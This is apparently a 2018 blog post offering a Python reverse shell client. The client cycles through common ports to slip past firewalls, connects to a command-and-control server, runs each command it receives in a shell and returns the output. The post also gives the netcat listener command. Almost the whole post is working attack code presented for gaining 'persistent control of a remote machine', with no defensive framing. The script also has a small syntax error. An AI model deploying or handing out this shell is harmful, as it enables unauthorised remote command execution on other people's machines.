Friday, January 12, 2018

Simple Python Reverse Shell Client

You never know when you'll need persistent control of a remote machine. The script below can typically be used in conjunction with a C2 server you control running the following: nc -nv -l -p 21
nc -h (-n=don't resolve hostnames, -v=verbose, -l=listen, -p=port)

Print statements have been commented out below for your convenience. 

#!/user/bin/env python -tt

#NECESSARY LIBS
import socket
import time
import subprocess

##BEGIN CONNECTION ROUTINE
#print "Starting Connection ..."
mysocket = socket.socket()
connected = False

##ATTEMPT TO CONNECT TO C2 SERVER
while not connected:
    #FOR ATTEMPTING TO EVADE FIREWALL, REDUCE PORTS AS NECESSARY
    for port in [21, 22, 80, 443]:
        time.sleep(2)
        try:
            #print "Attempting Port:", port

            ##CHANGE IP BELOW TO YOUR C2 SERVER
            mysocket.connect(("127.0.0.1", port)
        except socket.error:
            #print "Not Able To Connect"
            continue
        else:
            #print "Connection Successful"
            connected = True
            break

##WE ARE NOW CONNECTED
while True:
    commandrequested = mysocket.recv(1024)
    prochandle = subprocess.Popen(commandrequested,  shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    ##ALLOW PROGRAM TO SAFELY WAIT FOR ABOVE PROCESS TO COMPLETE
    prochandle.wait()
    results = prochandle.stdout.read() + prochandle.stderr.read()
    mysocket.send(results)

Known Limitations:
 1) send/recv have transfer limitations (~12k)
2) "cd" appears (it actually does) NOT to work as EACH command spawns a new shell

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.